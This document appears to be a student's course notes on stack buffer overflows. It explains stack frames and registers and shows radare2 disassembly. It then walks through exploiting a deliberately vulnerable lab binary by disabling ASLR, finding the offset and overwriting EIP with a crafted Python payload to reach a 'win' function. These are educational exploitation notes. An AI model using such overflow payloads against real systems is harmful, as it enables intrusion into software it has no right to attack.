Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
2021/Overflows.md
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
374 lines (293 sloc)
12.8 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### 245CT: Buffer overflows. | |
#### Overview | |
- What is the stack | |
- How to we smash it | |
- Redirecting application flow | |
- "Classic" overflows | |
Stack smashing: | |
~~~term | |
- Proper computer science | |
- Best part of CS | |
~~~ | |
https://www.techopedia.com/definition/16157/stack-smashing#:~:text=Stack%20smashing%20is%20a%20form,results%20of%20operations%20within%20it. | |
What is an overflow: | |
- We end up in memory we shouldnt be in | |
- If weve allocated space, and then we jump into another bit of memory to read it | |
- Where we expect a string, it will bring garbled data | |
- If we figure out where the EIP is, we can put a new address that goes to malicious code. | |
https://www.imperva.com/learn/application-security/buffer-overflow/#:~:text=A%20buffer%20overflow%20(or%20buffer,buffer%20overwrites%20adjacent%20memory%20locations. | |
Why overflows occur: | |
- In C/C++ memory for variables is pre-allocated | |
- The program expects the user to repsect this | |
- COmpiler expects good coders who understand dangers | |
- Allows us to allocte too much space and overwrite other parts of memory. | |
- A segmentation fault is an overflow that happens by mistake. (most the time) | |
Example of overflow code: | |
~~~term | |
#include <stdiio.h> | |
void main(void){ | |
int theArray[10]; | |
for(int i=0; i<10; i++){ | |
theArray[i] = i; | |
} | |
for (int i=0; i<20; i++){ | |
printf("reading location %d ", i) | |
int value = theArray[i] | |
printf("%d\n",value); | |
} | |
} | |
~~~ | |
> Segfault.c output | |
~~~term | |
┌──(user㉿kali)-[~/Desktop/overflows] | |
└─$ ./segfault | |
reading location 0 0 | |
reading location 1 1 | |
reading location 2 2 | |
reading location 3 3 | |
reading location 4 4 | |
reading location 5 5 | |
reading location 6 6 | |
reading location 7 7 | |
reading location 8 8 | |
reading location 9 9 | |
reading location 10 -368553904 | |
reading location 11 21890 | |
reading location 12 903344368 | |
reading location 13 903344368 | |
reading location 14 14 | |
reading location 15 10 | |
reading location 16 -368553552 | |
reading location 17 21890 | |
reading location 18 -329396982 | |
reading location 19 32521 | |
~~~ | |
Explanation: | |
The stack: | |
- Program memory for currently running processes | |
- Keeps track of Function calls, variables etc | |
- Fundamental to make programs work. | |
- We can call new vars as the program runs bc of the stack | |
- FILO | |
- Rach process allocated a "ch8unk" of memory. The stack frame: | |
- COntains, variables, data, pointers to other locations. | |
- It is efficeint as it allows branching which is more dynamic. | |
- The stack is used to allocate memory for the programs currently running processes | |
- Its a traditional stack style data struct (plates stacked, FILO) | |
- The Heap is used for allocating memory on the fly | |
- Registers are small bits of memory that have their own uses. | |
SI/DI input and output of data | |
SP stack pointer | |
BP abase pointer | |
EAX - EDX = Gen purpose | |
AX is 16bit, AH and AL splits these as 8bit parts | |
EAX is the 32bit register. | |
IP: Instruction pointer, tells program where to go. | |
BP: Tells where the bottom of the stack is. | |
The IP: | |
Also known as EIP(32bit)RIP(64bit) | |
Instruction pointer stored on the stack | |
With an overflow, we mangle the code, overwrite chunk of memory allocated for IP, | |
that then gets loaded when the funciton returns, we get access to the program | |
> stackframes.c | |
~~~term | |
int add(int var1, int var2){ | |
//Add two numbers | |
int total; | |
total = var1+var2; | |
return total; | |
} | |
void main(int argv, char* argc){ | |
//Function call | |
int total = add(10, 20); | |
} | |
~~~ | |
- must install multilib | |
~~~Term | |
sudo apt install gcc-multilib | |
~~~ | |
> stackframes.c output | |
~~~term | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ sudo gcc -m32 stackFrames.c 1 ⨯ | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ls | |
a.out firstOverflow.c Makefile stackFrames.c strOverflow.c | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ r2 a.out | |
Warning: run r2 with -e io.cache=true to fix relocations in disassembly | |
[0x00001050]> | |
[0x00001050]> ls | |
Makefile ./ strOverflow.c stackFrames.c | |
firstOverflow.c a.out ../ | |
^C | |
[0x00001050]> | |
[0x00001050]> exit | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ r2 a.out | |
Warning: run r2 with -e io.cache=true to fix relocations in disassembly | |
[0x00001050]> pdf@sym.main | |
p: Cannot find function at 0x000011a9 | |
[0x00001050]> aa | |
[x] Analyze all flags starting with sym. and entry0 (aa) | |
[0x00001050]> aaa | |
[x] Analyze all flags starting with sym. and entry0 (aa) | |
[x] Analyze function calls (aac) | |
[x] Analyze len bytes of instructions for references (aar) | |
[x] Check for vtables | |
[x] Type matching analysis for all functions (aaft) | |
[x] Propagate noreturn information | |
[x] Use -AA or aaaa to perform additional experimental analysis. | |
[0x00001050]> pdf@sym.main | |
┌ 34: int main (int argc, char **argv, char **envp); | |
│ ; var int32_t var_4h @ ebp-0x4 | |
│ 0x000011a9 55 push ebp | |
│ 0x000011aa 89e5 mov ebp, esp | |
│ 0x000011ac 83ec10 sub esp, 0x10 | |
│ 0x000011af e817000000 call sym.__x86.get_pc_thunk.ax | |
│ 0x000011b4 054c2e0000 add eax, 0x2e4c | |
│ 0x000011b9 6a14 push 0x14 | |
│ 0x000011bb 6a0a push 0xa | |
│ 0x000011bd e8c7ffffff call sym.add | |
│ 0x000011c2 83c408 add esp, 8 | |
│ 0x000011c5 8945fc mov dword [var_4h], eax | |
│ 0x000011c8 90 nop | |
│ 0x000011c9 c9 leave | |
└ 0x000011ca c3 ret | |
[0x00001050]> | |
~~~ | |
- sym.add | |
~~~term | |
[0x00001050]> pdf @sym.add | |
; CALL XREF from main @ 0x11bd | |
┌ 32: sym.add (int32_t arg_8h, int32_t arg_ch); | |
│ ; var int32_t var_4h @ ebp-0x4 | |
│ ; arg int32_t arg_8h @ ebp+0x8 | |
│ ; arg int32_t arg_ch @ ebp+0xc | |
│ 0x00001189 55 push ebp | |
│ 0x0000118a 89e5 mov ebp, esp | |
│ 0x0000118c 83ec10 sub esp, 0x10 | |
│ 0x0000118f e837000000 call sym.__x86.get_pc_thunk.ax | |
│ 0x00001194 056c2e0000 add eax, 0x2e6c | |
│ 0x00001199 8b5508 mov edx, dword [arg_8h] | |
│ 0x0000119c 8b450c mov eax, dword [arg_ch] | |
│ 0x0000119f 01d0 add eax, edx | |
│ 0x000011a1 8945fc mov dword [var_4h], eax | |
│ 0x000011a4 8b45fc mov eax, dword [var_4h] | |
│ 0x000011a7 c9 leave | |
└ 0x000011a8 c3 ret | |
[0x00001050]> | |
~~~ | |
Notes: | |
> firstOverflow.c3 | |
~~~Term | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ls | |
a.out firstOverflow.c Makefile stackFrames.c strOverflow.c | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ make | |
gcc -m32 -g -z execstack firstOverflow.c -o firstOverflow | |
/usr/bin/ld: cannot open output file firstOverflow: Permission denied | |
collect2: error: ld returned 1 exit status | |
make: *** [Makefile:9: firstOverflow] Error 1 | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ sudo make 2 ⨯ | |
[sudo] password for user: | |
gcc -m32 -g -z execstack firstOverflow.c -o firstOverflow | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow | |
Overflow the Buffer | |
Overflow the buffer | |
Hint! Try `python -c "print 'A'*100"` | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow 'python -c "print('a'*10)"' 255 ⨯ | |
Overflow the Buffer | |
Off to 0x565f5215 | |
Current Memory Address is 0x565f5215 | |
Aim for 0x565f51d9 | |
Lose :( | |
~~~ | |
Notes: | |
> firstOverflow ASLR Problem | |
~~~term | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow 'python -c "print('a'*10)"' | |
Overflow the Buffer | |
Off to 0x56609215 | |
Current Memory Address is 0x56609215 | |
Aim for 0x566091d9 | |
Lose :( | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow 'python -c "print('a'*10)"' | |
Overflow the Buffer | |
Off to 0x56641215 | |
Current Memory Address is 0x56641215 | |
Aim for 0x566411d9 | |
Lose :( | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow 'python -c "print('a'*10)"' | |
Overflow the Buffer | |
Off to 0x5662a215 | |
Current Memory Address is 0x5662a215 | |
Aim for 0x5662a1d9 | |
Lose :( | |
~~~ | |
- We need to turn it off using: echo 0 > /proc/sys/kernel/randomize_va_space | |
- Will fix auto, but use echo 2 > /proc/sys to turn back on | |
~~~Term | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ sudo sysctl kernel.randomize_va_space=0 1 ⨯ | |
kernel.randomize_va_space = 0 | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow 'python -c "print('a'*10)"' | |
Overflow the Buffer | |
Off to 0x56556215 | |
Current Memory Address is 0x56556215 | |
Aim for 0x565561d9 | |
Lose :( | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow 'python -c "print('a'*10)"' | |
Overflow the Buffer | |
Off to 0x56556215 | |
Current Memory Address is 0x56556215 | |
Aim for 0x565561d9 | |
Lose :( | |
~~~ | |
> The memory addresses are now the same | |
> ./firstOverflow `python -c "print('A'*200)"` | |
~~~term | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow `python -c "print('A'*400)"` | |
Overflow the Buffer | |
Off to 0x41414141 | |
zsh: segmentation fault ./firstOverflow `python -c "print('A'*400)"` | |
~~~ | |
> We then move around till we get the right return: | |
~~~term | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow `python -c "print('A'*170)"` 130 ⨯ | |
Overflow the Buffer | |
Off to 0x56556215 | |
Current Memory Address is 0x56556215 | |
Aim for 0x565561d9 | |
Lose :( | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow `python -c "print('A'*174)"` | |
Overflow the Buffer | |
Off to 0x56554141 | |
zsh: segmentation fault ./firstOverflow `python -c "print('A'*174)"` | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow `python -c "print('A'*172+'BBBB'+'Zxd9\x61\x55\x56')"` 139 ⨯ | |
Overflow the Buffer | |
Off to 0x42424242 | |
zsh: segmentation fault ./firstOverflow `python -c "print('A'*172+'BBBB'+'Zxd9\x61\x55\x56')"` | |
┌──(user㉿kali)-[~/Documents/245-Labs/Week9_Overflows/Intro] | |
└─$ ./firstOverflow `python -c "print('A'*172+'\xd9\x61\x55\x56')"` 139 ⨯ | |
Overflow the Buffer | |
Off to 0x565561d9 | |
===== Win ===== | |
$ | |
~~~ | |
- | |
#### Resources: | |
https://www.coengoedegebure.com/buffer-overflow-attacks-explained/ |